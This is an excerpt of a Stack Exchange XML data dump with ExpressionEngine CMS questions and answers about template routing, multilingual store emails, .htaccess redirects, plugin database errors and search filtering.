  <row Id="25285" PostTypeId="2" ParentId="25272" CreationDate="2014-08-22T22:46:12.733" Score="2" Body="&lt;p&gt;Since Publisher doesn't technically have Store support or vise-versa you won't be able to use Publisher for your additional emails directly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could write an extension that would allow you to either set a custom order status for each language during checkout, which would allow you to assign an email template for their language to that order status. This will probably give you the most flexibility in the long term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could set a &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#custom_order_fields&quot; rel=&quot;nofollow&quot;&gt;order_customX&lt;/a&gt; field during the checkout with the language code from Publisher. So in your checkout template you would want to have something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA; &amp;lt;input type=&quot;hidden&quot; name=&quot;order_custom1&quot; value=&quot;{publisher:current_language_code}&quot;&amp;gt;&#xA; Other checkout fields&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your email template you could use conditionals to show specific content based upon the language value store in order_customX&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if order_custom1 == &quot;en&quot;}&#xA; Show content in English&#xA;{/if}&#xA;&#xA;{if order_custom1 == &quot;es&quot;}&#xA; Lets have some Spanish text here&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only issue that you are going to have with this is that I don't think that the Subject field has full template parsing so I am not sure if you could use the conditionals to show the correct subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that I would highly recommend that you goto Store's Feature Request page and vote for &lt;a href=&quot;https://www.exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;Multiple Language Support&lt;/a&gt; to be added to Store.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-22T22:46:12.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25286" PostTypeId="1" AcceptedAnswerId="25287" CreationDate="2014-08-22T22:56:36.107" Score="0" ViewCount="193" Body="&lt;p&gt;How would one use Template Routing to route this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://MYDOMAINNAME.COM/tournaments/public-schedule/archives/2014/10/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://MYDOMAINNAME.COM/tournaments/public-schedule/archives/2014/10/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To a Structure template of my choosing? I have this currently set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y1YF0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which states:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GROUP: templates&#xA;TEMPLATE: events&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to route the Archives/year/month there then run a conditional that will display the low archive tag there. I know how to do this with CraftCMS, but EE's documentation really stinks regarding template routing and I can't find any good posts of this online either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help community!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-08-23T15:09:27.907" Title="EE 2.9.0 || Template Routing" Tags="|templates|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25287" PostTypeId="2" ParentId="25286" CreationDate="2014-08-23T00:12:15.107" Score="2" Body="&lt;p&gt;I wouldn't say the documentation stinks, there's an &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/template_routes.html#usage&quot; rel=&quot;nofollow&quot;&gt;example near the top of the page&lt;/a&gt; under &lt;strong&gt;Usage&lt;/strong&gt; close to what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, it looks like you probably want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/tournaments/public-schedule/archives/{year:regex[(\d{4})]}/{month:regex[(\d{2})]}/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you will access your &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/template_routes.html#segment-variables-and-paths&quot; rel=&quot;nofollow&quot;&gt;segment variables&lt;/a&gt; with &lt;code&gt;{segment:year}&lt;/code&gt; and &lt;code&gt;{segment:month}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="366" LastEditDate="2014-08-23T15:09:27.907" LastActivityDate="2014-08-23T15:09:27.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25289" PostTypeId="2" ParentId="25281" CreationDate="2014-08-23T15:13:10.187" Score="1" Body="&lt;p&gt;So the channel entries tag that outputs this lives somewhere other than where your navigation is built, I'm assuming. Without seeing your template I couldn't say for sure, but this sounds like a great case for using a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/layouts.html&quot; rel=&quot;nofollow&quot;&gt;template layout&lt;/a&gt;. If you update your question with a simplified version of your templates, I could provide a more specific example, but the documentation covers what you would need: the layout wrapper, and layout variables.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-08-23T15:13:10.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25290" PostTypeId="2" ParentId="25240" CreationDate="2014-08-23T21:12:42.593" Score="0" Body="&lt;p&gt;As Brad mentioned you can not share the fields across sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to share information across sites the easiest way to do that is to set up a new channel on the sub-domain with a playa/relationship field and a Store field so you can enter the product info on the sub-domain and then relate the entry to the product on the main site to pull in all of the other custom field data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend heading over to their &lt;a href=&quot;https://www.exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;feature request&lt;/a&gt; page and vote for making Store MSM aware. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-08-24T02:06:14.040" LastActivityDate="2014-08-24T02:06:14.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25295" PostTypeId="1" CreationDate="2014-08-25T08:14:09.823" Score="0" ViewCount="115" Body="&lt;p&gt;I´m trying to make users upload files to a folder in assets that contains only user files. But i want them to, when they open to select files and upload files, to have a folder with the memberid as folder name. And that this folder is the base for the user, so that they can make subfolder. To make subfolders is not a crucial function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know assets don't have this functionality and that i have to hack it to make it work until assets get this functionality of some kind.&#xA;I have tried to use channel images for this, but channel form didn't like that one bit. i have tried the &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7666/safecracker-assets-restrict-file-browser-to-display-logged-in-members-files?rq=1&quot;&gt;member_id on files fix&lt;/a&gt; but that doesn't work with assets 2.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use zoo visitor for users, so i can make and delete folders when a user is made and deleted.&#xA;The user groups that are going to use this dont have access to the controlpanel, only the channel forms, thats why i think a hack of some kind may work.&lt;/p&gt;&#xA;" OwnerUserId="3492" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-08-25T08:14:09.823" Title="Assets upload with channel form to sub folder with userid" Tags="|assets|safecracker|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25297" PostTypeId="2" ParentId="25280" CreationDate="2014-08-25T12:18:45.477" Score="1" Body="&lt;p&gt;You can search to see if there are any rows which have a current or future date, then proceed accordingly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{calendar:total_rows search:date=&quot;&amp;gt;={current_time}&quot;}' &amp;gt; 0}&#xA;    Your calendar is outdated&#xA;{if:else}&#xA;    {calendar}&#xA;        {if &quot;{date format='%Y%m%d'}&quot; == &quot;{current_time format='%Y%m%d'}&quot;}&#xA;            &amp;lt;information here&amp;gt;&#xA;        {if}&#xA;    {/calendar}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-25T12:18:45.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25298" PostTypeId="1" CreationDate="2014-08-25T12:37:33.493" Score="1" ViewCount="84" Body="&lt;p&gt;I'd like to be able to pre-populate some DevDemon form fields depending on the URL. Is there a way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="2005" LastActivityDate="2014-09-17T19:30:40.960" Title="Pre-populate DevDemon Form Fields?" Tags="|forms|devdemon|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25300" PostTypeId="1" AcceptedAnswerId="25306" CreationDate="2014-08-25T14:46:44.833" Score="0" ViewCount="75" Body="&lt;p&gt;In order to prevent unwanted member registration I have set up a redirect from the member/register page using the following code in the .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Redirect 301 /member/register http://sitexyz.com/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be working but it is not and returns the following url and still displays the registration page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://sitexyz.com/?/member/register&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something in the redirect?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-08-25T21:55:22.080" Title="Redirect from Member/Register is not working" Tags="|members|htaccess|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25301" PostTypeId="1" CreationDate="2014-08-25T15:54:19.403" Score="2" ViewCount="40" Body="&lt;p&gt;Is there a way to restrict search to a group or groups of categories when using the {exp:super_search:results} tag? I see only category and category_indicator. I have an issue where the same category name/url indicator exists in two groups, but I only want to search for entries that are in one of the category groups and not the other.  &lt;/p&gt;&#xA;" OwnerUserId="3464" LastActivityDate="2014-08-25T15:54:19.403" Title="Restrict to category group in Solspace Super Search?" Tags="|supersearch|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25303" PostTypeId="2" ParentId="25239" CreationDate="2014-08-25T18:11:39.873" Score="1" Body="&lt;p&gt;Since you need some help with a query, I wrote this. You will need to change the part where channel = 4, and enable php on input for this template. I think this might work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: You can just use the not in the entry id parameter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    // First we get the entries that are a playa parent&#xA;    $dontIncludeArray = array();&#xA;&#xA;    $dontIncludeQuery = ee()-&amp;gt;db-&amp;gt;select('parent_entry_id')&#xA;                        -&amp;gt;from('playa_relationships')&#xA;                        -&amp;gt;get();&#xA;&#xA;    foreach ( $dontIncludeQuery-&amp;gt;result_array() as $row )&#xA;    {&#xA;&#xA;        $dontIncludeArray[] = $row['parent_entry_id'];  &#xA;&#xA;    }&#xA;&#xA;    $dontInclude = implode('|' , $dontIncludeArray);&#xA;    ?&amp;gt;&#xA; {exp:channel:entries channel=&quot;foo&quot; entry_id=&quot;not &amp;lt;?php echo $dontInclude; ?&amp;gt;&quot;}&#xA;        {title}&amp;lt;br&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="1188" LastEditDate="2014-08-25T19:40:14.550" LastActivityDate="2014-08-25T19:40:14.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25306" PostTypeId="2" ParentId="25300" CreationDate="2014-08-25T21:55:22.080" Score="1" Body="&lt;p&gt;Try using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^member/register$ http://sitexyz.com/ [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make sure to place it before any index.php rewrite rules in your root htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-08-25T21:55:22.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25310" PostTypeId="1" AcceptedAnswerId="25311" CreationDate="2014-08-26T07:53:30.047" Score="0" ViewCount="126" Body="&lt;p&gt;Since upgrading to 2.3.1 I've found that even if the customer unticks the 'shipping_same_as_billing' box then on the next screen they are told that the Shipping address is the same as the billing address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked fine up to this upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code on checkout 2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group same-billing&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;                    {field:shipping_same_as_billing} Same as Billing Details&#xA;                &amp;lt;/label&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code on checkout 3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                    {if shipping_same_as_billing}&#xA;ALWAYS SHOWS AS TRUE!&#xA;                        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Same as Billing Details&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    {if:else}&#xA;                        &amp;lt;div&amp;gt;&amp;lt;strong&amp;gt;{shipping_name}&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{shipping_address1}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{shipping_address2}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{shipping_address3} &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{shipping_postcode}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{shipping_region_name}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{shipping_country_name}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;{shipping_phone}&amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastActivityDate="2014-08-26T08:08:30.440" Title="Expresso Store: shipping_same_as_billing issue since upgrade to 2.3.1" Tags="|expresso-store|tags|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25311" PostTypeId="2" ParentId="25310" CreationDate="2014-08-26T08:08:30.440" Score="4" Body="&lt;p&gt;Ok - found a fix for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This simple condition&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if shipping_same_as_billing}&#xA;ALWAYS SHOWS AS TRUE!&#xA;                        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Same as Billing Details&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    {if:else}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No longer works, but altering the condition to be more specific does.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if shipping_same_as_billing == 1}&#xA;                        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Same as Billing Details&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    {if:else}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastActivityDate="2014-08-26T08:08:30.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25312" PostTypeId="2" ParentId="24413" CreationDate="2014-08-26T09:48:26.860" Score="0" Body="&lt;p&gt;hope this still helps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the uri tag either like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;{exp:transcribe:uri path='example'}&quot;&amp;gt;Example&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;http://domain.tld/{transcribe:language_abbreviation}/{exp:transcribe:uri path='example' site_url='no'}&quot;&amp;gt;Example&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to check that the slashes are correct but the general idea is there. &lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2014-08-26T09:48:26.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25313" PostTypeId="1" AcceptedAnswerId="25315" CreationDate="2014-08-26T09:50:37.397" Score="0" ViewCount="149" Body="&lt;p&gt;I'm using Transcribe 1.6.1 and EE 2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting a weird thing happening when using the &lt;code&gt;{exp:transcribe:uri}&lt;/code&gt; tag to output different URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my footer I have the usual Sitemap | Terms | Disclaimer| Privacy | Contact links, but only Contact isn't working correctly. It outputs &lt;code&gt;M140o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&lt;/code&gt; instead of &lt;code&gt;/en/contact&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done some debugging on this one and I've found that the rest of the links output in the format of &lt;code&gt;http://domain.tld/en/path&lt;/code&gt; but contact is outputting &lt;code&gt;/contact/&lt;/code&gt; only. I looked into it further and discovered that even though &lt;code&gt;site_url='yes'&lt;/code&gt; is supposed to be default param for this function but when parsing contact it is set as no. So I've gotten around this issue by explicitly setting &lt;code&gt;site_url='yes'&lt;/code&gt; in my code.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy to have fixed the problem but this one is really bugging me why it's being so weird. Anyone have any ideas on this one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, couldn't find any way to contact the developer on this one. &lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2014-08-26T12:57:21.957" Title="Transcribe randomly outputs completely wrong URI" Tags="|url|transcribe|path|site-url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25315" PostTypeId="2" ParentId="25313" CreationDate="2014-08-26T12:57:21.957" Score="2" Body="&lt;p&gt;Unfortunately the long random string is the result of a run time pseudo caching that the template system in ExpressionEngine uses.  (If you google that string M40o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr you will find loads of live EE sites where this issue is present).  That being said, the fix is very easy!  This happens when the same tag is present on a given page multiple times.  Usually one is inside a tag pair and the other isn't (so the pseudo caching doesn't get cleaned up).  If you go to the tag where this is present and just add something like work=&quot;yes&quot; (really just making it so the tag string is seen differentially by the template parser)  it should do the trick. (please note, this should only be done on tags that display on the front end as that random string.)&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2014-08-26T12:57:21.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25317" PostTypeId="1" CreationDate="2014-08-26T14:29:13.397" Score="0" ViewCount="49" Body="&lt;p&gt;We have inherited a site which uses Cartthrob on Expression Engine. The site on the live environment works fine but on the Development environment it throws the below error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Number: 1054&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unknown column 'Array' in 'where clause'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT &lt;code&gt;exp_channel_titles&lt;/code&gt;.&lt;em&gt;, &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;/em&gt;, &lt;code&gt;exp_channels&lt;/code&gt;.* FROM (&lt;code&gt;exp_channel_titles&lt;/code&gt;) JOIN &lt;code&gt;exp_channel_data&lt;/code&gt; ON &lt;code&gt;exp_channel_titles&lt;/code&gt;.&lt;code&gt;entry_id&lt;/code&gt; = &lt;code&gt;exp_channel_data&lt;/code&gt;.&lt;code&gt;entry_id&lt;/code&gt; JOIN &lt;code&gt;exp_channels&lt;/code&gt; ON &lt;code&gt;exp_channels&lt;/code&gt;.&lt;code&gt;channel_id&lt;/code&gt; = &lt;code&gt;exp_channel_titles&lt;/code&gt;.&lt;code&gt;channel_id&lt;/code&gt; WHERE &lt;code&gt;exp_channel_titles&lt;/code&gt;.&lt;code&gt;entry_id&lt;/code&gt; IN (Array)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/cartthrob/models/cartthrob_entries_model.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 183&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a look and it seems that a multi-demensional array is getting passed into the where_in clause and that is confusing it. But what is confusing me is why this is happening. I am reluctant to go messing with the Core code and I don't understand it enough to easily fix the problem. So I was wondering if anyone could help me or had seen this problem themselves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Used to using Wordpress and Magento so this is a complete new area for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version v2.7.2&#xA;CartThrob Version 2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Stu&lt;/p&gt;&#xA;" OwnerUserId="3514" LastEditorUserId="3514" LastEditDate="2014-08-26T14:42:30.977" LastActivityDate="2014-08-26T14:42:30.977" Title="Cartthrob entity_id on add to cart. &quot;Unknown column 'Array' in 'where clause'&quot;" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25318" PostTypeId="1" AcceptedAnswerId="26124" CreationDate="2014-08-26T14:55:47.463" Score="0" ViewCount="233" Body="&lt;p&gt;So using - Transcribe 1.5 and EE 2.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically when i have channel information outputting to json within ee,&#xA;when another page is requesting this via ajax, transcribe redirects to the translated json route rather than the template route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;EE-&gt;session-&gt;tracker is updated with this new route because of the ajax request&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which then means when i change the language using language switcher it uses the ajax url rather than the requesting page. (doesn't use referrer).&lt;/p&gt;&#xA;" OwnerUserId="3516" LastEditorUserId="3516" LastEditDate="2014-08-27T08:52:56.087" LastActivityDate="2014-11-08T13:12:33.597" Title="Transcribe - After AJAX request, when i switch language it directs me to the AJAX endpoint" Tags="|ajax|sessions|transcribe|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25319" PostTypeId="1" CreationDate="2014-08-26T15:50:27.193" Score="0" ViewCount="5309" Body="&lt;p&gt;I have some php code that I have embedded. Which seems to work fine alone on the server however when embedded I get this error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: 8192&#xA;&#xA;Message: Function split() is deprecated&#xA;&#xA;Filename: libraries/Functions.php(679) : eval()'d code&#xA;&#xA;Line Number: 221&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I go about correcting this error?&lt;/p&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2014-11-25T15:21:47.107" Title="A PHP Error was encountered Severity: 8192" Tags="|error|php|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25320" PostTypeId="1" CreationDate="2014-08-26T16:02:47.273" Score="0" ViewCount="159" Body="&lt;p&gt;I have a channel in my website called Careers.  I have a playa field setup for locations.  I'm trying to add the location to the job posting in the careers channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I hit submit, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;Unknown column 'parent_is_draft' in 'where clause'&#xA;DELETE FROM &lt;code&gt;exp_playa_relationships&lt;/code&gt; WHERE &lt;code&gt;parent_entry_id&lt;/code&gt; = '440' AND &lt;code&gt;parent_field_id&lt;/code&gt; = '26' AND &lt;code&gt;parent_is_draft&lt;/code&gt; = 0&#xA;Filename: third_party/playa/ft.playa.php&#xA;Line Number: 2558&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone every seen this error before?  Do you have any idea how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.7.3&#xA;Playa Plugin v4.4.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also use Blueprints and Structure plugins in our EE install.&lt;/p&gt;&#xA;" OwnerUserId="1711" LastEditorUserId="1711" LastEditDate="2014-08-26T19:28:40.743" LastActivityDate="2014-11-24T21:10:28.380" Title="Database Error - Unknown column parent_is_draft in where clause using Playa plugin" Tags="|ee2|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25321" PostTypeId="1" CreationDate="2014-08-26T16:11:52.400" Score="2" ViewCount="135" Body="&lt;p&gt;I have a Low Search results page where I want to filter the results based on the presence of a value in one or more custom fields. In this case I am searching across two collections and I want to filter the results to only include entries where custom_field_1 OR custom_field_2 have a positive integer value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results search:custom_field_1=&quot;&amp;gt;0&quot; search:custom_field_2=&quot;&amp;gt;0&quot; query=&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However of course the tag above will only return entries where both fields are a positive integer, not one or the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for doing this? I've populated an integer field in each of the channels I'm using with Expresso Store with a 1 or 0 using a custom extension that checks if a price is set. I thought this might be a neat way to be able to leverage Low Search with Store entries but alas, because I have multiple store channels I'm stumped at the last hurdle! Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-08-26T18:56:18.820" LastActivityDate="2014-08-26T23:06:51.113" Title="Display results in Low Search which have value in custom_field_1 OR custom_field_2" Tags="|expresso-store|search|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25322" PostTypeId="1" AcceptedAnswerId="25323" CreationDate="2014-08-26T16:25:51.443" Score="0" ViewCount="68" Body="&lt;p&gt;I'm sending an Ajax request via jQuery to an EE template. This is the entire contents of the EE template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;tours&quot; url_title=&quot;&amp;lt;?php echo $_POST[&quot;entry&quot;]; ?&amp;gt;&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;p&amp;gt;Hello world. {title} - &amp;lt;?php echo $_POST[&quot;entry&quot;]; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP is Enabled for this template in the control panel, and the template has been fully synced to/from DB and filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I simplify the file to just the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Entry title: &amp;lt;?php echo $_POST[&quot;entry&quot;]; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It outputs: &lt;code&gt;Entry title: test-entry-name&lt;/code&gt;, as &lt;code&gt;$_POST['entry']&lt;/code&gt; is the URL title being sent via Ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I couldn't get it to return the &lt;code&gt;{title}&lt;/code&gt; for the entry no matter what. When I enabled the Output Profiler, this is the query EE is running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT t.entry_id FROM exp_channel_titles AS t&#xA;                LEFT JOIN exp_channels ON t.channel_id = exp_channels.channel_id LEFT JOIN exp_members AS m ON m.member_id = t.author_id WHERE t.entry_id !='' AND t.site_id IN ('1')  AND t.entry_date &amp;lt; 1409069885  AND (t.expiration_date = 0 OR t.expiration_date &amp;gt; 1409069885) AND t.url_title = '&amp;lt;?php echo $_POST[' AND t.channel_id = '7' AND t.status = 'open' ORDER BY t.sticky desc, t.entry_date desc, t.entry_id desc LIMIT 0, 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see it's not parsing the PHP properly for some reason, but I can't work out why. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jack&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2014-09-25T17:05:48.870" Title="EE isn't parsing PHP code, even though it should be" Tags="|php|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
